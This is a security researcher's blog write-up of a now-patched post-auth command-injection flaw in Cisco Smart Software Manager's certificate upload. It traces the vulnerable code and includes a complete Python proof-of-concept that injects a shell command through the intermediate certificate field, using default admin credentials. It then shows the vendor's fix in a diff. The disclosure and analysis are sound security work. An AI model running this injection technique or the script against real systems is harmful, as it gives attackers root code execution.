Dirty Cert: Cisco Smart Software Manager's Silently Patched RCE
Table of Contents
Introduction
Back in early August 2026, I was 0-day bug hunting in Cisco Smart Software Manager (CSSM). This was where I came across a post-auth RCE vulnerability. This vulnerability, located in the nginx certificate upload, involved command injection via TLS certificates. Unfortunately, a week before I finished the report, the vulnerability was silently patched in their 10-202608 upgrade uploaded on 10 Aug 2026. This short blog will detail the exploit, along with how it got patched.
Backstory
CSSM is a licensing and account manager for multiple Cisco products such as their edge devices and networking software. It is distributed as an installable OS, running many microservices accessible via an nginx reverse proxy. I was testing out my newly built AI bug hunting harness, which managed to find this vulnerability within 1 hour!
The Sink that Never Should’ve Been
Found within their nginx_configurator, in /frontend/usr/share/nginx/nginx_configurator/main.js, are these two very interesting functions.
function valid_key(key) {
try {
childProcess.execSync(`echo "${key}" | openssl rsa > /dev/null`, {
stdio: "inherit",
});
return true;
} catch (e) {
log(`Invalid key: ${e}`);
return false;
}
}
function valid_cert(cert) {
try {
childProcess.execSync(`echo "${cert}" | openssl x509 > /dev/null`, {
stdio: "inherit",
});
return true;
} catch (e) {
log(`Invalid cert: ${e}`);
return false;
}
}
Cisco uses the openssl command to check for invalid certs and RSA keys. Using childProcess.execSync to do so is very risky, but very good for vulnerability researchers like me! It just so happens that these functions are called when I upload new certificates for nginx, so all we need is one malformed certificate to achieve command injection.
Tracing through the code
With our target sink, we now begin tracing all the processing and functions our certificate payload goes through before reaching it.
Validator’s Validation
Starting with the endpoint /backend/settings/csr/upload to upload our certs, we pass through the nginx reverse proxy to the backend service where we encounter a check under /backend/usr/src/app/validators/admin/certs/csr/upload_validator.rb
def validate(record)
private_key = CsrPrivateKey.first
record.errors.add(:base, I18n.t('browser_certs.cert_not_valid')) && return unless private_key.present?
record.errors.add(:base, I18n.t('browser_certs.invalid_csr_cert')) && return unless valid_cert?(record, private_key)
record.errors.add(:base, I18n.t('browser_certs.invalid_signature_algorithm')) && return if algorithm_rejected?(record.certificate)
if record.intermediate_certificate.present?
record.errors.add(:base, I18n.t('browser_certs.invalid_intermediate_cert')) && return unless valid_intermediate_cert?(record)
record.errors.add(:base, I18n.t('browser_certs.invalid_intermediate_cert_signature_algorithm')) if algorithm_rejected?(record.intermediate_certificate)
end
rescue
record.errors.add(:base,I18n.t('browser_certs.invalid_file_type'))
end
def valid_cert?(record, csr_private_key)
ui_cert = OpenSSL::X509::Certificate.new(record.certificate)
decrypted_key = EncryptionService.decrypt(csr_private_key.key_data)
csr_rsa_private_key = OpenSSL::PKey::RSA.new(decrypted_key)
CertService.rsa_keys_eql?(ui_cert.public_key, csr_rsa_private_key)
end
def valid_intermediate_cert?(record)
user_cert = OpenSSL::X509::Certificate.new(record.certificate)
intermediate_cert = OpenSSL::X509::Certificate.new(record.intermediate_certificate)
user_cert.issuer == intermediate_cert.subject
rescue
record.errors.add(:base,I18n.t('browser_certs.invalid_intermediate_cert'))
end
These functions check for:
- Has the server made a Certificate Signing Request (CSR)?
- Does the new certificate match the CSR?
- Did the intermediate cert sign the new certificate?
- Are the certificates signed using the allowed algorithms?
- Do the certificates all follow the format under OpenSSL::X509::Certificate?
No. 1, we simply generate a CSR using the /backend/settings/csr/generate endpoint.
No. 2 and 3, we become the root CA and sign the CSR.
No. 4 is a non-factor, since the default openssl algorithm is allowlisted.
This last check, due to parsing of the request via OpenSSL::X509::Certificate.new(record.certificate), is also not foolproof! The library follows RFC 7468 (“Textual Encodings of PKIX, PKCS, and CMS Structures”), and it states the following:
Explanatory Text
Many tools are known to emit explanatory text before the BEGIN and after the END lines for PKIX certificates, more than any other type. If emitted, such text SHOULD be related to the certificate, such as providing a textual representation of key data elements in the certificate.
By using explanatory text, we can add our command injection before the -----BEGIN CERTIFICATE----- header! Something akin to:
$(<COMMAND INJECTION>)
-----BEGIN CERTIFICATE-----
...
-----END CERTIFICATE-----
Uneven Processing
After the validator, the backend processes the certificates before sending them back to nginx to update its certs. Under /backend/usr/src/app/services/admin/ui_cert_service.rb in the upload_csr_certificate function:
# Update UI Cert
ui_cert_entry = UICert.where(name: Constants::UI_CERT_DESC).first_or_initialize
ui_cert_entry.cert = ui_cert.to_pem
ui_cert_entry.private_key_id = csr_private_key.id
ui_cert_entry.description = description
if intermediate_certificate.present?
intermediate_subject = OpenSSL::X509::Certificate.new(intermediate_certificate).subject
trust_store_cert = TrustStoreCert.first_or_initialize
trust_store_cert.name = intermediate_subject
trust_store_cert.cert = intermediate_certificate
trust_store_cert.description = description
trust_store_cert.save
end
ui_private_key = UiPrivateKey.first
ui_private_key.key_data = csr_private_key.key_data
...
ui_cert_entry.private_key_id = ui_private_key.id
...
NginxConfiguratorService.save_key_and_cert(CONSTANTS::TLS_FOR_USER_INTERFACE, EncryptionService.decrypt(ui_private_key.key_data), build_pem_bundle(ui_cert_entry))
We focus specifically on these three lines of code:
ui_cert_entry.cert = ui_cert.to_pem
...
ui_private_key.key_data = csr_private_key.key_data
...
trust_store_cert.cert = intermediate_certificate
Our command injection can work in these three places:
- The new certificate generated from the CSR
- The private key used in the CSR
- The
intermediate_certificatethat signed the CSR
(1) doesn’t work since to_pem strips our explanatory text and our command injection away, and (2) cannot be accessed by us. However, for (3), the intermediate_certificate is used directly with no processing, perfect for exploitation!
And with our command injection within the certs, the server calls the following:
NginxConfiguratorService.save_key_and_cert(
CONSTANTS::TLS_FOR_USER_INTERFACE,
EncryptionService.decrypt(ui_private_key.key_data),
build_pem_bundle(ui_cert_entry)
)
build_pem_bundle is simply a concatenation of the certs and the chain of signers / issuers before it using \n as a delimiter. The specific code looks as such:
def build_pem_bundle(cert)
pem = cert.cert
signer = cert.signer_cert
while signer != nil do
pem += "\n" + signer.cert
signer = signer.signer_cert
end
pem
end
And this is all prepared as a single HTTP request sent from the backend to the frontend.
Final Nail in the Coffin
After all that, we finally arrive at the file containing the sink /frontend/usr/share/nginx/nginx_configurator/main.js
app.put('/certs/:type', saveKeyAndCert)
function saveKeyAndCert(req, res) {
...
if(!valid_key(req.body.key)) {
res.status(httpStatus.BAD_REQUEST).send('Invalid private key')
return
}
if(!valid_cert(req.body.cert)) {
res.status(httpStatus.BAD_REQUEST).send('Invalid certificate')
return
}
}
With no other checks remaining, the execSync sink within valid_cert is called and we trigger our injected commands within the attacker CA we send :)
This will run with nginx permissions, which happens to be root on that microservice.
Full Exploit
The full exploit steps are as such:
- Log in as admin
- Generate a CSR certificate
- Sign CSR with us as the root CA
- Upload CSR with malicious
intermediate_certificate - Read injected command’s output via a file created on nginx
- Delete the file on nginx
Full POC script
import os, subprocess, sys, tempfile, requests, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
COMMAND = "ls"
HOST = "<IP + PORT>"
BASE = f"https://{HOST}"
USER, PASS = "admin", "CiscoAdmin!2345" # <-- default credentials
WEBROOT = "/usr/share/nginx/apollo-ui/dist"
MARKER = "output.txt" # <-- Arbitrary server command output file
TMP = tempfile.mkdtemp()
s = requests.Session()
s.verify = False
def req(method, path, **kw):
kw.setdefault("timeout", 90)
return s.request(method, BASE + path, **kw)
def hdrs():
return {"X-CSRF-Token": s.cookies.get("XSRF-TOKEN", ""),
"Content-Type": "application/json"}
def sh(cmd):
"""Inject one shell command; returns the backend's JSON response."""
with open(os.path.join(TMP, "ca.pem")) as f:
ca = f.read()
with open(os.path.join(TMP, "leaf.pem")) as f:
leaf = f.read()
body = {"certificate": leaf,
"intermediate_certificate": "$(" + cmd + ")\n" + ca,
"description": "poc"}
return req("PUT", "/backend/settings/csr/upload", headers=hdrs(), json=body).text.strip()
# 1. Authenticate
req("GET", "/")
req("POST", "/backend/auth/identity/callback", headers=hdrs(),
json={"username": USER, "password": PASS})
print("[1] logged in as", USER)
# 2. Generate a CSR
req("PUT", "/backend/settings/csr/generate", headers=hdrs(),
json={"csr_request": {"common_name": "poc.local", "country": "US", "state": "CA",
"locality": "SJ", "organization": "poc", "key_size": 2048,
"subject_alternative_names": "poc.local"}})
csr = req("GET", "/backend/settings/csr").json()
with open(os.path.join(TMP, "req.csr"), "w") as f:
f.write(csr)
print("[2] CSR generated and downloaded")
# 3. Generate a self-signed CA and sign the CSR using openssl
# Generate our own CA
subprocess.run(["openssl", "req", "-x509", "-newkey", "rsa:2048", "-nodes", "-days", "365", "-sha256",
"-subj", "/CN=PoC CA", "-keyout", f"{TMP}/ca.key", "-out", f"{TMP}/ca.pem"], check=True)
# Sign the CSR with our CA
subprocess.run(["openssl", "x509", "-req", "-in", f"{TMP}/req.csr", "-CA", f"{TMP}/ca.pem",
"-CAkey", f"{TMP}/ca.key", "-CAcreateserial", "-days", "365", "-sha256",
"-out", f"{TMP}/leaf.pem"], check=True)
print("[3] leaf signed by attacker CA")
# 4. Upload the payload
print("[4] upload ->", sh(f"{COMMAND} > {WEBROOT}/{MARKER} 2>&1")[:120])
# 5. read the command output back over HTTPS
print("[5] retrieved output")
print(req("GET", "/" + MARKER).text.strip() or "(empty)")
# 6. clean up the marker file
sh(f"rm -f {WEBROOT}/{MARKER}")
print("[6] cleanup, marker now HTTP", req("GET", "/" + MARKER).status_code)
Silent Patches
After finishing my report, I saw that a new patch was released a week ago. As a very responsible researcher, I updated my 10-202606 CSSM to that new 10-202608 version to test my vulnerability. Doing a quick diff, I saw the sink had been removed 🥲
- childProcess.execSync(`echo "${key}" | openssl rsa > /dev/null`, { stdio: 'inherit' })
+ const k = crypto.createPrivateKey(key)
+ if (k.asymmetricKeyType !== 'rsa') throw new Error(`unexpected key type: ${k.asymmetricKeyType}`)
- childProcess.execSync(`echo "${cert}" | openssl x509 > /dev/null`, { stdio: "inherit", });
+ new crypto.X509Certificate(cert)
As expected, my script no longer yields any RCE. Looking back, it was natural that they would catch it. A quick ctrl+F for exec within Cisco files would only show these specific lines of code. The fix was also quick, to simply use a Node library instead of the command line.
Timeline
9 Aug 26: Bug Discovered by AI
10 Aug 26: Patch 10-202608 Released
18 Aug 26: Report Prepared
19 Aug 26: Analysed Patch
Moral of the Story
After seeing the patch and some sad talks with my mentor, Never celebrate too early… who knows if your 0-days will still exist on reporting day, especially if it was found instantly by an AI agent.